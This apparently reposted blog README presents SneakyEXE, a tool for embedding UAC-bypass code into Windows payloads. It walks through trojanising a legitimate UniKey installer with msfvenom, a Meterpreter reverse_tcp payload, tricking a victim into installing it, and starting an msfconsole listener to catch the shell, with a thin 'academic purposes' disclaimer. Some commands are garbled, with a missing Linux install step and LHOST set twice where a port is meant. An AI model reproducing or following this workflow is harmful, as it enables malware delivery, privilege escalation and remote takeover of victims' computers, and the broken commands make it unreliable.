Puffadust Mobile Blog (BAK): SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload

Thursday, August 27, 2020

SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload

About SneakyEXE
SneakyEXE is a tool which helps you embedding a UAC-Bypassing function into your custom Win32 payloads (x86_64 architecture specifically).

SneakyEXE was tested on:

Windows 7, 8, 10 (64 bit)
Parrot Security OS 4.7

Requirements of SneakyEXE:

For Linux: Architecture: Optional
Python 3.7.x: Yes
Module: termcolor
Distro: Any
Distro version: Any
For Windows: Architecture: x86_64
Python 3.7.x: No
Module: No
Windows version: 7, 8, 10

SneakyEXE's Installtion for Linux
You must install Python 3 first:

For Debian-based distros: sudo apt install python3
For Arch Linux based distros: sudo pacman -S python3

And then, open your Terminal and enter these commands:

SneakyEXE's Installtion for Windows

Download SneakEXE-master zip file.
Unzip it into your optional directory.
Change dir to \SneakyEXE\Win32\.
Execute sneakyexe.exe (or sys\sneakyexe.exe for an improved startup speed).
(Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one)

NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

SneakyEXE GUI verion installation for Windows
You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
Download SneakEXE-master zip file and unzip it.
And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:

pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exe

How to use SneakyEXE?

Example:
I dowloaded Unikey from Unikey.org.
And then, i used msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.

After that, to embed UAC-Bypassing codes to uNiKeY.exe, i used this command:
python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXE

And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:

sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploit

and wait...

Disclaimer:

This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
Feel free to use this project in your software, just don't reclaim the ownerhsip.

Credits: This tool does embed UACme which was originally coded by hfiref0x but the rest was pretty much all coded by me (Zenix Blurryface).

Download SneakyEXE

Puffadust Mobile Blog (BAK)

Thursday, August 27, 2020

SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload

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